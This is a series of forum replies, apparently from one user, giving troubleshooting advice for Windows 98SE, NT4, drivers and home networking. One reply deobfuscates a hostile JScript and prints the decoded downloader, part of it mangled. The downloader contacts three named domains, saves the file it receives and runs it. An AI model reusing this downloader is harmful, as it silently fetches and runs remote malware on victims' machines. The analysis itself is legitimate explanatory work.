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System Information or Device Manager

What OS and drivers are currently on it? We need a hardware device list.

I think SystemTray and Shell Scrap DataHandler can go. If you only want to run SuperPi, install it as the shell app instead of Explorer. Then you should be able to get rid of userinit and RpcSs as well as Explorer itself. If you really, really want SuperPi to fly, find a version with a built-in 32-bit DOS extender, boot from floppy, and skip NT4 altogether.

Google and Wikipedia are completely separate issues. Unfortunately, I don't understand what either of those issues is, only that they are unrelated. On my Win98se machine, Google works in both IE5 and FF2. Wikipedia doesn't work in IE5 and just once per session in FF2. Here's a table of SSL-related User Agent Capabilities by browser: https://www.ssllabs.com/ssltest/clients.html Click "Test Your Browser" to perform a detailed SSL test. Another tester: https://www.howsmyssl.com/

Not cheesy at all -- I've been using and advocating (what-wifi-cards-are-compatible-with-98se, best-pci-wireless-card-for-9x) a router in client (or repeater) mode as a wifi adapter for Win9x for years. I've used several desktop routers that need AC power. A travel router that gets its power via USB is perfect for mobile use. If the NIC is also USB, a two-port USB hub might be used to create a one-USB-port complete solution -- but that might be cheesy!

SSE support would be the biggest reason to upgrade to a PIII. And if the 500MHz PIII runs at 333 (or 366) MHz, there will be plenty of headroom to try software overclocking.

Don't know about NT4.

Is the Pentium II you are replacing an overclocked Klamath (2.8v) or a Deschutes (2.0v)? Either way, a Celeron at the same speed is probably a downgrade. You must be hoping to overclock it once you get it working....

After uninstalling IE6, restore the registry you saved before installing IE6.

For Psapi, yes because the ReactOS version isn't compatible. For Uxtheme, no because the ReactOS version is compatible.

I believe so. One of the machines may need to act as a server (plugged into the WAN port), however. >the same hub, which is connected to a MOCA adapter If you mean the MoCA adapter is plugged into the hub, try unplugging the MoCA adapter from the hub. This might be enough to fix the performance of your existing configuration.

> My personal PC and work laptop are connected to the same hub Wired or wireless? If wired, a cross-over cable directly between the two should be fastest. If wireless, disconnect the hub from the rest of the network (yes, a switch or router might be needed) and all other devices from the hub. In short, create the fastest local area network you can that just includes these two machines. MoCA is tuned for multimedia, so stay off that network when you're looking for performance from non-multimedia applications.

Was all this on a Win7x64 machine, or did you plug them into an x32, Win10, Linux, or OSX machine?

What about those of us without SSE at all?

I use Autoruns v8.31 on Win98SE. MDGx recommends:

>D00748-001-002.exe which is Widcomm 5.1.0.2800 Did you mean 5.0.1.2800? Try the Anycom drivers which are newer. Also, when installers don't work (for whatever reason), it is sometimes possible to extract and transplant individual files. You probably want to avoid Device Firmaware Upgrades (dfu files) from other manufacturers, however. Another great discussion to read: How to Install Widcomm Drivers

30600 "C:\PROGRA~1\MESSEN~1" "PROGRA~1" works for "Program Files" because the folder already exists so do the same with "MESSEN~1" / "Messenger": 1) Rename the folder "Messenger" 2) Check its properties to confirm the DOS filename is "MESSEN~1" 3) Use 30600 Win98se is not WinME; sometimes it needs a little bit of manual help to work around DOS limitations like 8.3 filenames. p.s. filenames in Wininit.ini are known to get truncated to 8.3

According to http://forum.gsmhosting.com/vbb/f237/widcomm-bluetooth-software-5-1-0-2800-keygen-363992/ on Jan-08-2007, the last version for Win9x was 5.1.0.2700. Wayback has the .1700 and .2100 Anycom drivers. http://www.wireless-driver.com/dell-wireless-355-bluetooth-module-windows-driver-software/ claims to have:

Going back to your original post: it sounds like you had a power surge that killed the machine (and maybe the monitors, too).

Realtek AC'97 drivers

I made these small changes and it runs in IE5. <script> ... document.writeln(tz) //this[nbny243()](tz); </script> The numerous functions each return a short string and are declared in jumbled order. The loop calls all functions in the proper order and concatenates the strings into the real script. The call to nbny243 evaluates the full string, causing it execute. The full string is: function dl(fr) { var b = "dickinsonwrestlingclub.com www.fibrasinteticafm.com laterrazzafiorita.it".split(" "); for (var i=0; i 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open("GET","http://"+b+"/document.php?rnd="+fr+"&id="+str, false); xo.send(); } catch (er) {}; if (dn == 1) break; }; }; dl(8391); dl(5142); dl(2053);

V5R14 requires: Looks like you'll need to check ebay for V4 or earlier.Update: According to http://www.firstratemold.com/about-us/c19-news/what-is-catia/, Catia never supported non-NT Windows. It also appears to be the type of software that "If you need to ask, you can't afford it." In other words, if you can't afford to buy a dedicated system to run it on, you won't be able to afford the software itself.

There's not much to say except the obvious: Outlook is leaking User resources and needs to be restarted more often. I'll add resource monitoring to a future version of the KernelEx debugger.

Is your game port on the mainboard or a soundcard? If the former, it needs to be enabled in the BIOS setup.

Does CamStudio v2.7 (or earlier) work correctly under KernelEx 4.5.2 or earlier versions of KernelEx 4.5.2015?